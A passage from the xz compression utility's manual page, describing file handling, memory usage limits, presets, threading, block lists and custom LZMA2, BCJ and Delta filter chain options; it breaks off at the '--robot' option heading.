
  • When compressing, the suffix of the target file format (.xz or .lzma) is appended to the source filename to get the target filename.

  • When decompressing, the .xz, .lzma, or .lz suffix is removed from the filename to get the target filename. xz also recognizes the suffixes .txz and .tlz, and replaces them with the .tar suffix.

If the target file already exists, an error is displayed and the file is skipped.

Unless writing to standard output, xz will display a warning and skip the file if any of the following applies:

  • File is not a regular file. Symbolic links are not followed, and thus they are not considered to be regular files.

  • File has more than one hard link.

  • File has setuid, setgid, or sticky bit set.

  • The operation mode is set to compress and the file already has a suffix of the target file format (.xz or .txz when compressing to the .xz format, and .lzma or .tlz when compressing to the .lzma format).

  • The operation mode is set to decompress and the file doesn’t have a suffix of any of the supported file formats (.xz, .txz, .lzma, .tlz, or .lz).

After successfully compressing or decompressing the file, xz copies the owner, group, permissions, access time, and modification time from the source file to the target file. If copying the group fails, the permissions are modified so that the target file doesn’t become accessible to users who didn’t have permission to access the source file. xz doesn’t support copying other metadata like access control lists or extended attributes yet.

Once the target file has been successfully closed, the source file is removed unless –keep was specified. The source file is never removed if the output is written to standard output or if an error occurs.

Sending SIGINFO or SIGUSR1 to the xz process makes it print progress information to standard error. This has only limited use since when standard error is a terminal, using –verbose will display an automatically updating progress indicator.

Memory usage

The memory usage of xz varies from a few hundred kilobytes to several gigabytes depending on the compression settings. The settings used when compressing a file determine the memory requirements of the decompressor. Typically the decompressor needs 5 % to 20 % of the amount of memory that the compressor needed when creating the file. For example, decompressing a file created with xz -9 currently requires 65 MiB of memory. Still, it is possible to have .xz files that require several gigabytes of memory to decompress.

Especially users of older systems may find the possibility of very large memory usage annoying. To prevent uncomfortable surprises, xz has a built-in memory usage limiter, which is disabled by default. While some operating systems provide ways to limit the memory usage of processes, relying on it wasn’t deemed to be flexible enough (for example, using ulimit(1) to limit virtual memory tends to cripple mmap(2)).

The memory usage limiter can be enabled with the command line option **–memlimit=**limit. Often it is more convenient to enable the limiter by default by setting the environment variable XZ_DEFAULTS, for example, XZ_DEFAULTS=–memlimit=150MiB. It is possible to set the limits separately for compression and decompression by using **–memlimit-compress=**limit and **–memlimit-decompress=**limit. Using these two options outside XZ_DEFAULTS is rarely useful because a single run of xz cannot do both compression and decompression and **–memlimit=**limit (or -M limit) is shorter to type on the command line.

If the specified memory usage limit is exceeded when decompressing, xz will display an error and decompressing the file will fail. If the limit is exceeded when compressing, xz will try to scale the settings down so that the limit is no longer exceeded (except when using –format=raw or –no-adjust). This way the operation won’t fail unless the limit is very small. The scaling of the settings is done in steps that don’t match the compression level presets, for example, if the limit is only slightly less than the amount required for xz -9, the settings will be scaled down only a little, not all the way down to xz -8.

Concatenation and padding with .xz files

It is possible to concatenate .xz files as is. xz will decompress such files as if they were a single .xz file.

It is possible to insert padding between the concatenated parts or after the last part. The padding must consist of null bytes and the size of the padding must be a multiple of four bytes. This can be useful, for example, if the .xz file is stored on a medium that measures file sizes in 512-byte blocks.

Concatenation and padding are not allowed with .lzma files or raw streams.

OPTIONS

Integer suffixes and special values

In most places where an integer argument is expected, an optional suffix is supported to easily indicate large integers. There must be no space between the integer and the suffix.

KiB
Multiply the integer by 1,024 (2^10). Ki, k, kB, K, and KB are accepted as synonyms for KiB.

MiB
Multiply the integer by 1,048,576 (2^20). Mi, m, M, and MB are accepted as synonyms for MiB.

GiB
Multiply the integer by 1,073,741,824 (2^30). Gi, g, G, and GB are accepted as synonyms for GiB.

The special value max can be used to indicate the maximum integer value supported by the option.

Operation mode

If multiple operation mode options are given, the last one takes effect.

-z, –compress
Compress. This is the default operation mode when no operation mode option is specified and no other operation mode is implied from the command name (for example, unxz implies –decompress).

-d, –decompress, –uncompress
Decompress.

-t, –test
Test the integrity of compressed files. This option is equivalent to –decompress –stdout except that the decompressed data is discarded instead of being written to standard output. No files are created or removed.

-l, –list
Print information about compressed files. No uncompressed output is produced, and no files are created or removed. In list mode, the program cannot read the compressed data from standard input or from other unseekable sources.

The default listing shows basic information about files, one file per line. To get more detailed information, use also the –verbose option. For even more information, use –verbose twice, but note that this may be slow, because getting all the extra information requires many seeks. The width of verbose output exceeds 80 characters, so piping the output to, for example, less -S may be convenient if the terminal isn’t wide enough.

The exact output may vary between xz versions and different locales. For machine-readable output, –robot –list should be used.

Operation modifiers

-k, –keep
Don’t delete the input files.

Since xz 5.2.6, this option also makes xz compress or decompress even if the input is a symbolic link to a regular file, has more than one hard link, or has the setuid, setgid, or sticky bit set. The setuid, setgid, and sticky bits are not copied to the target file. In earlier versions this was only done with –force.

-f, –force
This option has several effects:

  • If the target file already exists, delete it before compressing or decompressing.

  • Compress or decompress even if the input is a symbolic link to a regular file, has more than one hard link, or has the setuid, setgid, or sticky bit set. The setuid, setgid, and sticky bits are not copied to the target file.

  • When used with –decompress –stdout and xz cannot recognize the type of the source file, copy the source file as is to standard output. This allows xzcat –force to be used like cat(1) for files that have not been compressed with xz. Note that in future, xz might support new compressed file formats, which may make xz decompress more types of files instead of copying them as is to standard output. **–format=**format can be used to restrict xz to decompress only a single file format.

-c, –stdout, –to-stdout
Write the compressed or decompressed data to standard output instead of a file. This implies –keep.

–single-stream
Decompress only the first .xz stream, and silently ignore possible remaining input data following the stream. Normally such trailing garbage makes xz display an error.

xz never decompresses more than one stream from .lzma files or raw streams, but this option still makes xz ignore the possible trailing data after the .lzma file or raw stream.

This option has no effect if the operation mode is not –decompress or –test.

–no-sparse
Disable creation of sparse files. By default, if decompressing into a regular file, xz tries to make the file sparse if the decompressed data contains long sequences of binary zeros. It also works when writing to standard output as long as standard output is connected to a regular file and certain additional conditions are met to make it safe. Creating sparse files may save disk space and speed up the decompression by reducing the amount of disk I/O.

-S .suf, –suffix=.suf
When compressing, use .suf as the suffix for the target file instead of .xz or .lzma. If not writing to standard output and the source file already has the suffix .suf, a warning is displayed and the file is skipped.

When decompressing, recognize files with the suffix .suf in addition to files with the .xz, .txz, .lzma, .tlz, or .lz suffix. If the source file has the suffix .suf, the suffix is removed to get the target filename.

When compressing or decompressing raw streams (–format=raw), the suffix must always be specified unless writing to standard output, because there is no default suffix for raw streams.

–files[=file]
Read the filenames to process from file; if file is omitted, filenames are read from standard input. Filenames must be terminated with the newline character. A dash (
-
) is taken as a regular filename; it doesn’t mean standard input. If filenames are given also as command line arguments, they are processed before the filenames read from file.

–files0[**=file]
This is identical to –files[
=**file] except that each filename must be terminated with the null character.

Basic file format and compression options

-F format, **–format=**format
Specify the file format to compress or decompress:

auto
This is the default. When compressing, auto is equivalent to xz. When decompressing, the format of the input file is automatically detected. Note that raw streams (created with –format=raw) cannot be auto-detected.

xz
Compress to the .xz file format, or accept only .xz files when decompressing.

lzma, alone
Compress to the legacy .lzma file format, or accept only .lzma files when decompressing. The alternative name alone is provided for backwards compatibility with LZMA Utils.

lzip
Accept only .lz files when decompressing. Compression is not supported.

The .lz format version 0 and the unextended version 1 are supported. Version 0 files were produced by lzip 1.3 and older. Such files aren’t common but may be found from file archives as a few source packages were released in this format. People might have old personal files in this format too. Decompression support for the format version 0 was removed in lzip 1.18.

lzip 1.4 and later create files in the format version 1. The sync flush marker extension to the format version 1 was added in lzip 1.6. This extension is rarely used and isn’t supported by xz (diagnosed as corrupt input).

raw
Compress or uncompress a raw stream (no headers). This is meant for advanced users only. To decode raw streams, you need use –format=raw and explicitly specify the filter chain, which normally would have been stored in the container headers.

-C check, **–check=**check
Specify the type of the integrity check. The check is calculated from the uncompressed data and stored in the .xz file. This option has an effect only when compressing into the .xz format; the .lzma format doesn’t support integrity checks. The integrity check (if any) is verified when the .xz file is decompressed.

Supported check types:

none
Don’t calculate an integrity check at all. This is usually a bad idea. This can be useful when integrity of the data is verified by other means anyway.

crc32
Calculate CRC32 using the polynomial from IEEE-802.3 (Ethernet).

crc64
Calculate CRC64 using the polynomial from ECMA-182. This is the default, since it is slightly better than CRC32 at detecting damaged files and the speed difference is negligible.

sha256
Calculate SHA-256. This is somewhat slower than CRC32 and CRC64.

Integrity of the .xz headers is always verified with CRC32. It is not possible to change or disable it.

–ignore-check
Don’t verify the integrity check of the compressed data when decompressing. The CRC32 values in the .xz headers will still be verified normally.

Do not use this option unless you know what you are doing. Possible reasons to use this option:

  • Trying to recover data from a corrupt .xz file.

  • Speeding up decompression. This matters mostly with SHA-256 or with files that have compressed extremely well. It’s recommended to not use this option for this purpose unless the file integrity is verified externally in some other way.

-0-9
Select a compression preset level. The default is -6. If multiple preset levels are specified, the last one takes effect. If a custom filter chain was already specified, setting a compression preset level clears the custom filter chain.

The differences between the presets are more significant than with gzip(1) and bzip2(1). The selected compression settings determine the memory requirements of the decompressor, thus using a too high preset level might make it painful to decompress the file on an old system with little RAM. Specifically, it’s not a good idea to blindly use -9 for everything like it often is with gzip(1) and bzip2(1).

-0-3
These are somewhat fast presets. -0 is sometimes faster than gzip -9 while compressing much better. The higher ones often have speed comparable to bzip2(1) with comparable or better compression ratio, although the results depend a lot on the type of data being compressed.

-4-6
Good to very good compression while keeping decompressor memory usage reasonable even for old systems. -6 is the default, which is usually a good choice for distributing files that need to be decompressible even on systems with only 16 MiB RAM. (-5e or -6e may be worth considering too. See –extreme.)

-7 … -9
These are like -6 but with higher compressor and decompressor memory requirements. These are useful only when compressing files bigger than 8 MiB, 16 MiB, and 32 MiB, respectively.

On the same hardware, the decompression speed is approximately a constant number of bytes of compressed data per second. In other words, the better the compression, the faster the decompression will usually be. This also means that the amount of uncompressed output produced per second can vary a lot.

The following table summarises the features of the presets:

PresetDictSizeCompCPUCompMemDecMem
-0256 KiB03 MiB1 MiB
-11 MiB19 MiB2 MiB
-22 MiB217 MiB3 MiB
-34 MiB332 MiB5 MiB
-44 MiB448 MiB5 MiB
-58 MiB594 MiB9 MiB
-68 MiB694 MiB9 MiB
-716 MiB6186 MiB17 MiB
-832 MiB6370 MiB33 MiB
-964 MiB6674 MiB65 MiB

Column descriptions:

  • DictSize is the LZMA2 dictionary size. It is waste of memory to use a dictionary bigger than the size of the uncompressed file. This is why it is good to avoid using the presets -7-9 when there’s no real need for them. At -6 and lower, the amount of memory wasted is usually low enough to not matter.

  • CompCPU is a simplified representation of the LZMA2 settings that affect compression speed. The dictionary size affects speed too, so while CompCPU is the same for levels -6-9, higher levels still tend to be a little slower. To get even slower and thus possibly better compression, see –extreme.

  • CompMem contains the compressor memory requirements in the single-threaded mode. It may vary slightly between xz versions.

  • DecMem contains the decompressor memory requirements. That is, the compression settings determine the memory requirements of the decompressor. The exact decompressor memory usage is slightly more than the LZMA2 dictionary size, but the values in the table have been rounded up to the next full MiB.

Memory requirements of the multi-threaded mode are significantly higher than that of the single-threaded mode. With the default value of –block-size, each thread needs 3*3*DictSize plus CompMem or DecMem. For example, four threads with preset -6 needs 660–670 MiB of memory.

-e, –extreme
Use a slower variant of the selected compression preset level (-0-9) to hopefully get a little bit better compression ratio, but with bad luck this can also make it worse. Decompressor memory usage is not affected, but compressor memory usage increases a little at preset levels -0-3.

Since there are two presets with dictionary sizes 4 MiB and 8 MiB, the presets -3e and -5e use slightly faster settings (lower CompCPU) than -4e and -6e, respectively. That way no two presets are identical.

PresetDictSizeCompCPUCompMemDecMem
-0e256 KiB84 MiB1 MiB
-1e1 MiB813 MiB2 MiB
-2e2 MiB825 MiB3 MiB
-3e4 MiB748 MiB5 MiB
-4e4 MiB848 MiB5 MiB
-5e8 MiB794 MiB9 MiB
-6e8 MiB894 MiB9 MiB
-7e16 MiB8186 MiB17 MiB
-8e32 MiB8370 MiB33 MiB
-9e64 MiB8674 MiB65 MiB

For example, there are a total of four presets that use 8 MiB dictionary, whose order from the fastest to the slowest is -5, -6, -5e, and -6e.

–fast

–best

These are somewhat misleading aliases for -0 and -9, respectively. These are provided only for backwards compatibility with LZMA Utils. Avoid using these options.

**–block-size=**size
When compressing to the .xz format, split the input data into blocks of size bytes. The blocks are compressed independently from each other, which helps with multi-threading and makes limited random-access decompression possible. This option is typically used to override the default block size in multi-threaded mode, but this option can be used in single-threaded mode too.

In multi-threaded mode about three times size bytes will be allocated in each thread for buffering input and output. The default size is three times the LZMA2 dictionary size or 1 MiB, whichever is more. Typically a good value is 2–4 times the size of the LZMA2 dictionary or at least 1 MiB. Using size less than the LZMA2 dictionary size is waste of RAM because then the LZMA2 dictionary buffer will never get fully used. In multi-threaded mode, the sizes of the blocks are stored in the block headers. This size information is required for multi-threaded decompression.

In single-threaded mode no block splitting is done by default. Setting this option doesn’t affect memory usage. No size information is stored in block headers, thus files created in single-threaded mode won’t be identical to files created in multi-threaded mode. The lack of size information also means that xz won’t be able decompress the files in multi-threaded mode.

**–block-list=**items
When compressing to the .xz format, start a new block with an optional custom filter chain after the given intervals of uncompressed data.

The items are a comma-separated list. Each item consists of an optional filter chain number between 0 and 9 followed by a colon (:) and a required size of uncompressed data. Omitting an item (two or more consecutive commas) is a shorthand to use the size and filters of the previous item.

If the input file is bigger than the sum of the sizes in items, the last item is repeated until the end of the file. A special value of 0 may be used as the last size to indicate that the rest of the file should be encoded as a single block.

An alternative filter chain for each block can be specified in combination with the **–filters1=**filters–filters9=filters options. These options define filter chains with an identifier between 1–9. Filter chain 0 can be used to refer to the default filter chain, which is the same as not specifying a filter chain. The filter chain identifier can be used before the uncompressed size, followed by a colon (:). For example, if one specifies –block-list=1:2MiB,3:2MiB,2:4MiB,,2MiB,0:4MiB then blocks will be created using:

  • The filter chain specified by –filters1 and 2 MiB input

  • The filter chain specified by –filters3 and 2 MiB input

  • The filter chain specified by –filters2 and 4 MiB input

  • The filter chain specified by –filters2 and 4 MiB input

  • The default filter chain and 2 MiB input

  • The default filter chain and 4 MiB input for every block until end of input.

If one specifies a size that exceeds the encoder’s block size (either the default value in threaded mode or the value specified with **–block-size=**size), the encoder will create additional blocks while keeping the boundaries specified in items. For example, if one specifies –block-size=10MiB –block-list=5MiB,10MiB,8MiB,12MiB,24MiB and the input file is 80 MiB, one will get 11 blocks: 5, 10, 8, 10, 2, 10, 10, 4, 10, 10, and 1 MiB.

In multi-threaded mode the sizes of the blocks are stored in the block headers. This isn’t done in single-threaded mode, so the encoded output won’t be identical to that of the multi-threaded mode.

**–flush-timeout=**timeout
When compressing, if more than timeout milliseconds (a positive integer) has passed since the previous flush and reading more input would block, all the pending input data is flushed from the encoder and made available in the output stream. This can be useful if xz is used to compress data that is streamed over a network. Small timeout values make the data available at the receiving end with a small delay, but large timeout values give better compression ratio.

This feature is disabled by default. If this option is specified more than once, the last one takes effect. The special timeout value of 0 can be used to explicitly disable this feature.

This feature is not available on non-POSIX systems.

This feature is still experimental. Currently xz is unsuitable for decompressing the stream in real time due to how xz does buffering.

**–memlimit-compress=**limit
Set a memory usage limit for compression. If this option is specified multiple times, the last one takes effect.

If the compression settings exceed the limit, xz will attempt to adjust the settings downwards so that the limit is no longer exceeded and display a notice that automatic adjustment was done. The adjustments are done in this order: reducing the number of threads, switching to single-threaded mode if even one thread in multi-threaded mode exceeds the limit, and finally reducing the LZMA2 dictionary size.

When compressing with –format=raw or if –no-adjust has been specified, only the number of threads may be reduced since it can be done without affecting the compressed output.

If the limit cannot be met even with the adjustments described above, an error is displayed and xz will exit with exit status 1.

The limit can be specified in multiple ways:

  • The limit can be an absolute value in bytes. Using an integer suffix like MiB can be useful. Example: –memlimit-compress=80MiB

  • The limit can be specified as a percentage of total physical memory (RAM). This can be useful especially when setting the XZ_DEFAULTS environment variable in a shell initialization script that is shared between different computers. That way the limit is automatically bigger on systems with more memory. Example: –memlimit-compress=70%

  • The limit can be reset back to its default value by setting it to 0. This is currently equivalent to setting the limit to max (no memory usage limit).

For 32-bit xz there is a special case: if the limit would be over 4020 MiB, the limit is set to 4020 MiB. On MIPS32 2000 MiB is used instead. (The values 0 and max aren’t affected by this. A similar feature doesn’t exist for decompression.) This can be helpful when a 32-bit executable has access to 4 GiB address space (2 GiB on MIPS32) while hopefully doing no harm in other situations.

See also the section Memory usage.

**–memlimit-decompress=**limit
Set a memory usage limit for decompression. This also affects the –list mode. If the operation is not possible without exceeding the limit, xz will display an error and decompressing the file will fail. See **–memlimit-compress=**limit for possible ways to specify the limit.

**–memlimit-mt-decompress=**limit
Set a memory usage limit for multi-threaded decompression. This can only affect the number of threads; this will never make xz refuse to decompress a file. If limit is too low to allow any multi-threading, the limit is ignored and xz will continue in single-threaded mode. Note that if also –memlimit-decompress is used, it will always apply to both single-threaded and multi-threaded modes, and so the effective limit for multi-threading will never be higher than the limit set with –memlimit-decompress.

In contrast to the other memory usage limit options, **–memlimit-mt-decompress=**limit has a system-specific default limit. xz –info-memory can be used to see the current value.

This option and its default value exist because without any limit the threaded decompressor could end up allocating an insane amount of memory with some input files. If the default limit is too low on your system, feel free to increase the limit but never set it to a value larger than the amount of usable RAM as with appropriate input files xz will attempt to use that amount of memory even with a low number of threads. Running out of memory or swapping will not improve decompression performance.

See **–memlimit-compress=**limit for possible ways to specify the limit. Setting limit to 0 resets the limit to the default system-specific value.

-M limit, **–memlimit=**limit, **–memory=**limit
This is equivalent to specifying **–memlimit-compress=**limit **–memlimit-decompress=**limit **–memlimit-mt-decompress=**limit.

–no-adjust
Display an error and exit if the memory usage limit cannot be met without adjusting settings that affect the compressed output. That is, this prevents xz from switching the encoder from multi-threaded mode to single-threaded mode and from reducing the LZMA2 dictionary size. Even when this option is used the number of threads may be reduced to meet the memory usage limit as that won’t affect the compressed output.

Automatic adjusting is always disabled when creating raw streams (–format=raw).

-T threads, **–threads=**threads
Specify the number of worker threads to use. Setting threads to a special value 0 makes xz use up to as many threads as the processor(s) on the system support. The actual number of threads can be fewer than threads if the input file is not big enough for threading with the given settings or if using more threads would exceed the memory usage limit.

The single-threaded and multi-threaded compressors produce different output. Single-threaded compressor will give the smallest file size but only the output from the multi-threaded compressor can be decompressed using multiple threads. Setting threads to 1 will use the single-threaded mode. Setting threads to any other value, including 0, will use the multi-threaded compressor even if the system supports only one hardware thread. (xz 5.2.x used single-threaded mode in this situation.)

To use multi-threaded mode with only one thread, set threads to +1. The + prefix has no effect with values other than 1. A memory usage limit can still make xz switch to single-threaded mode unless –no-adjust is used. Support for the + prefix was added in xz 5.4.0.

If an automatic number of threads has been requested and no memory usage limit has been specified, then a system-specific default soft limit will be used to possibly limit the number of threads. It is a soft limit in sense that it is ignored if the number of threads becomes one, thus a soft limit will never stop xz from compressing or decompressing. This default soft limit will not make xz switch from multi-threaded mode to single-threaded mode. The active limits can be seen with xz –info-memory.

Currently the only threading method is to split the input into blocks and compress them independently from each other. The default block size depends on the compression level and can be overridden with the **–block-size=**size option.

Threaded decompression only works on files that contain multiple blocks with size information in block headers. All large enough files compressed in multi-threaded mode meet this condition, but files compressed in single-threaded mode don’t even if **–block-size=**size has been used.

The default value for threads is 0. In xz 5.4.x and older the default is 1.

Custom compressor filter chains

A custom filter chain allows specifying the compression settings in detail instead of relying on the settings associated to the presets. When a custom filter chain is specified, preset options (-0-9 and –extreme) earlier on the command line are forgotten. If a preset option is specified after one or more custom filter chain options, the new preset takes effect and the custom filter chain options specified earlier are forgotten.

A filter chain is comparable to piping on the command line. When compressing, the uncompressed input goes to the first filter, whose output goes to the next filter (if any). The output of the last filter gets written to the compressed file. The maximum number of filters in the chain is four, but typically a filter chain has only one or two filters.

Many filters have limitations on where they can be in the filter chain: some filters can work only as the last filter in the chain, some only as a non-last filter, and some work in any position in the chain. Depending on the filter, this limitation is either inherent to the filter design or exists to prevent security issues.

A custom filter chain can be specified in two different ways. The options **–filters=**filters and **–filters1=filters–filters9=filters allow specifying an entire filter chain in one option using the liblzma filter string syntax. Alternatively, a filter chain can be specified by using one or more individual filter options in the order they are wanted in the filter chain. That is, the order of the individual filter options is significant! When decoding raw streams (–format=raw), the filter chain must be specified in the same order as it was specified when compressing. Any individual filter or preset options specified before the full chain option (–filters=**filters) will be forgotten. Individual filters specified after the full chain option will reset the filter chain.

Both the full and individual filter options take filter-specific options as a comma-separated list. Extra commas in options are ignored. Every option has a default value, so specify those you want to change.

To see the whole filter chain and options, use xz -vv (that is, use –verbose twice). This works also for viewing the filter chain options used by presets.

–filters=filters
Specify the full filter chain or a preset in a single option. Each filter can be separated by spaces or two dashes (
). filters may need to be quoted on the shell command line so it is parsed as a single option. To denote options, use : or =. A preset can be prefixed with a - and followed with zero or more flags. The only supported flag is e to apply the same options as –extreme.

–filters1=filters–filters9=filters
Specify up to nine additional filter chains that can be used with –block-list.

For example, when compressing an archive with executable files followed by text files, the executable part could use a filter chain with a BCJ filter and the text part only the LZMA2 filter.

–filters-help
Display a help message describing how to specify presets and custom filter chains in the –filters and **–filters1=**filters … **–filters9=**filters options, and exit successfully.

–lzma1[**=**options]

–lzma2[**=**options]

Add LZMA1 or LZMA2 filter to the filter chain. These filters can be used only as the last filter in the chain.

LZMA1 is a legacy filter, which is supported almost solely due to the legacy .lzma file format, which supports only LZMA1. LZMA2 is an updated version of LZMA1 to fix some practical issues of LZMA1. The .xz format uses LZMA2 and doesn’t support LZMA1 at all. Compression speed and ratios of LZMA1 and LZMA2 are practically the same.

LZMA1 and LZMA2 share the same set of options:

**preset=**preset
Reset all LZMA1 or LZMA2 options to preset. Preset consist of an integer, which may be followed by single-letter preset modifiers. The integer can be from 0 to 9, matching the command line options -0-9. The only supported modifier is currently e, which matches –extreme. If no preset is specified, the default values of LZMA1 or LZMA2 options are taken from the preset 6.

**dict=**size
Dictionary (history buffer) size indicates how many bytes of the recently processed uncompressed data is kept in memory. The algorithm tries to find repeating byte sequences (matches) in the uncompressed data, and replace them with references to the data currently in the dictionary. The bigger the dictionary, the higher is the chance to find a match. Thus, increasing dictionary size usually improves compression ratio, but a dictionary bigger than the uncompressed file is waste of memory.

Typical dictionary size is from 64 KiB to 64 MiB. The minimum is 4 KiB. The maximum for compression is currently 1.5 GiB (1536 MiB). The decompressor already supports dictionaries up to one byte less than 4 GiB, which is the maximum for the LZMA1 and LZMA2 stream formats.

Dictionary size and match finder (mf) together determine the memory usage of the LZMA1 or LZMA2 encoder. The same (or bigger) dictionary size is required for decompressing that was used when compressing, thus the memory usage of the decoder is determined by the dictionary size used when compressing. The .xz headers store the dictionary size either as 2^n or 2^n + 2^(n-1), so these sizes are somewhat preferred for compression. Other sizes will get rounded up when stored in the .xz headers.

**lc=**lc
Specify the number of literal context bits. The minimum is 0 and the maximum is 4; the default is 3. In addition, the sum of lc and lp must not exceed 4.

All bytes that cannot be encoded as matches are encoded as literals. That is, literals are simply 8-bit bytes that are encoded one at a time.

The literal coding makes an assumption that the highest lc bits of the previous uncompressed byte correlate with the next byte. For example, in typical English text, an upper-case letter is often followed by a lower-case letter, and a lower-case letter is usually followed by another lower-case letter. In the US-ASCII character set, the highest three bits are 010 for upper-case letters and 011 for lower-case letters. When lc is at least 3, the literal coding can take advantage of this property in the uncompressed data.

The default value (3) is usually good. If you want maximum compression, test lc=4. Sometimes it helps a little, and sometimes it makes compression worse. If it makes it worse, test lc=2 too.

**lp=**lp
Specify the number of literal position bits. The minimum is 0 and the maximum is 4; the default is 0.

Lp affects what kind of alignment in the uncompressed data is assumed when encoding literals. See pb below for more information about alignment.

**pb=**pb
Specify the number of position bits. The minimum is 0 and the maximum is 4; the default is 2.

Pb affects what kind of alignment in the uncompressed data is assumed in general. The default means four-byte alignment (2^pb=2^2=4), which is often a good choice when there’s no better guess.

When the alignment is known, setting pb accordingly may reduce the file size a little. For example, with text files having one-byte alignment (US-ASCII, ISO-8859-*, UTF-8), setting pb=0 can improve compression slightly. For UTF-16 text, pb=1 is a good choice. If the alignment is an odd number like 3 bytes, pb=0 might be the best choice.

Even though the assumed alignment can be adjusted with pb and lp, LZMA1 and LZMA2 still slightly favor 16-byte alignment. It might be worth taking into account when designing file formats that are likely to be often compressed with LZMA1 or LZMA2.

**mf=**mf
Match finder has a major effect on encoder speed, memory usage, and compression ratio. Usually Hash Chain match finders are faster than Binary Tree match finders. The default depends on the preset: 0 uses hc3, 1–3 use hc4, and the rest use bt4.

The following match finders are supported. The memory usage formulas below are rough approximations, which are closest to the reality when dict is a power of two.

hc3
Hash Chain with 2- and 3-byte hashing
Minimum value for nice: 3
Memory usage:
dict * 7.5 (if dict <= 16 MiB);
dict * 5.5 + 64 MiB (if dict > 16 MiB)

hc4
Hash Chain with 2-, 3-, and 4-byte hashing
Minimum value for nice: 4
Memory usage:
dict * 7.5 (if dict <= 32 MiB);
dict * 6.5 (if dict > 32 MiB)

bt2
Binary Tree with 2-byte hashing
Minimum value for nice: 2
Memory usage: dict * 9.5

bt3
Binary Tree with 2- and 3-byte hashing
Minimum value for nice: 3
Memory usage:
dict * 11.5 (if dict <= 16 MiB);
dict * 9.5 + 64 MiB (if dict > 16 MiB)

bt4
Binary Tree with 2-, 3-, and 4-byte hashing
Minimum value for nice: 4
Memory usage:
dict * 11.5 (if dict <= 32 MiB);
dict * 10.5 (if dict > 32 MiB)

**mode=**mode
Compression mode specifies the method to analyze the data produced by the match finder. Supported modes are fast and normal. The default is fast for presets 0–3 and normal for presets 4–9.

Usually fast is used with Hash Chain match finders and normal with Binary Tree match finders. This is also what the presets do.

**nice=**nice
Specify what is considered to be a nice length for a match. Once a match of at least nice bytes is found, the algorithm stops looking for possibly better matches.

Nice can be 2–273 bytes. Higher values tend to give better compression ratio at the expense of speed. The default depends on the preset.

**depth=**depth
Specify the maximum search depth in the match finder. The default is the special value of 0, which makes the compressor determine a reasonable depth from mf and nice.

Reasonable depth for Hash Chains is 4–100 and 16–1000 for Binary Trees. Using very high values for depth can make the encoder extremely slow with some files. Avoid setting the depth over 1000 unless you are prepared to interrupt the compression in case it is taking far too long.

When decoding raw streams (–format=raw), LZMA2 needs only the dictionary size. LZMA1 needs also lc, lp, and pb.

–x86[**=**options]

–arm[**=options]
–armthumb[
=options]
–arm64[
=options]
–powerpc[
=options]
–ia64[
=options]
–sparc[
=options]
–riscv[
=**options]

Add a branch/call/jump (BCJ) filter to the filter chain. These filters can be used only as a non-last filter in the filter chain.

A BCJ filter converts relative addresses in the machine code to their absolute counterparts. This doesn’t change the size of the data but it increases redundancy, which can help LZMA2 to produce 0–15 % smaller .xz file. The BCJ filters are always reversible, so using a BCJ filter for wrong type of data doesn’t cause any data loss, although it may make the compression ratio slightly worse. The BCJ filters are very fast and use an insignificant amount of memory.

These BCJ filters have known problems related to the compression ratio:

  • Some types of files containing executable code (for example, object files, static libraries, and Linux kernel modules) have the addresses in the instructions filled with filler values. These BCJ filters will still do the address conversion, which will make the compression worse with these files.

  • If a BCJ filter is applied on an archive, it is possible that it makes the compression ratio worse than not using a BCJ filter. For example, if there are similar or even identical executables then filtering will likely make the files less similar and thus compression is worse. The contents of non-executable files in the same archive can matter too. In practice one has to try with and without a BCJ filter to see which is better in each situation.

Different instruction sets have different alignment: the executable file must be aligned to a multiple of this value in the input data to make the filter work.

FilterAlignmentNotes
x86132-bit or 64-bit x86
ARM4
ARM-Thumb2
ARM6444096-byte alignment is best
PowerPC4Big endian only
IA-6416Itanium
SPARC4
RISC-V2

Since the BCJ-filtered data is usually compressed with LZMA2, the compression ratio may be improved slightly if the LZMA2 options are set to match the alignment of the selected BCJ filter. Examples:

  • IA-64 filter has 16-byte alignment so pb=4,lp=4,lc=0 is good with LZMA2 (2^4=16).

  • RISC-V code has 2-byte or 4-byte alignment depending on whether the file contains 16-bit compressed instructions (the C extension). When 16-bit instructions are used, pb=2,lp=1,lc=3 or pb=1,lp=1,lc=3 is good. When 16-bit instructions aren’t present, pb=2,lp=2,lc=2 is the best. readelf -h can be used to check if “RVC” appears on the “Flags” line.

  • ARM64 is always 4-byte aligned so pb=2,lp=2,lc=2 is the best.

  • The x86 filter is an exception. It’s usually good to stick to LZMA2’s defaults (pb=2,lp=0,lc=3) when compressing x86 executables.

All BCJ filters support the same options:

**start=**offset
Specify the start offset that is used when converting between relative and absolute addresses. The offset must be a multiple of the alignment of the filter (see the table above). The default is zero. In practice, the default is good; specifying a custom offset is almost never useful.

–delta[**=**options]
Add the Delta filter to the filter chain. The Delta filter can be only used as a non-last filter in the filter chain.

Currently only simple byte-wise delta calculation is supported. It can be useful when compressing, for example, uncompressed bitmap images or uncompressed PCM audio. However, special purpose algorithms may give significantly better results than Delta + LZMA2. This is true especially with audio, which compresses faster and better, for example, with flac(1).

Supported options:

**dist=**distance
Specify the distance of the delta calculation in bytes. distance must be 1–256. The default is 1.

For example, with dist=2 and eight-byte input A1 B1 A2 B3 A3 B5 A4 B7, the output will be A1 B1 01 02 01 02 01 02.

Other options

-q, –quiet
Suppress warnings and notices. Specify this twice to suppress errors too. This option has no effect on the exit status. That is, even if a warning was suppressed, the exit status to indicate a warning is still used.

-v, –verbose
Be verbose. If standard error is connected to a terminal, xz will display a progress indicator. Specifying –verbose twice will give even more verbose output.

The progress indicator shows the following information:

  • Completion percentage is shown if the size of the input file is known. That is, the percentage cannot be shown in pipes.

  • Amount of compressed data produced (compressing) or consumed (decompressing).

  • Amount of uncompressed data consumed (compressing) or produced (decompressing).

  • Compression ratio, which is calculated by dividing the amount of compressed data processed so far by the amount of uncompressed data processed so far.

  • Compression or decompression speed. This is measured as the amount of uncompressed data consumed (compression) or produced (decompression) per second. It is shown after a few seconds have passed since xz started processing the file.

  • Elapsed time in the format M:SS or H:MM:SS.

  • Estimated remaining time is shown only when the size of the input file is known and a couple of seconds have already passed since xz started processing the file. The time is shown in a less precise format which never has any colons, for example, 2 min 30 s.

When standard error is not a terminal, –verbose will make xz print the filename, compressed size, uncompressed size, compression ratio, and possibly also the speed and elapsed time on a single line to standard error after compressing or decompressing the file. The speed and elapsed time are included only when the operation took at least a few seconds. If the operation didn’t finish, for example, due to user interruption, also the completion percentage is printed if the size of the input file is known.

-Q, –no-warn
Don’t set the exit status to 2 even if a condition worth a warning was detected. This option doesn’t affect the verbosity level, thus both –quiet and –no-warn have to be used to not display warnings and to not alter the exit status.

–robot
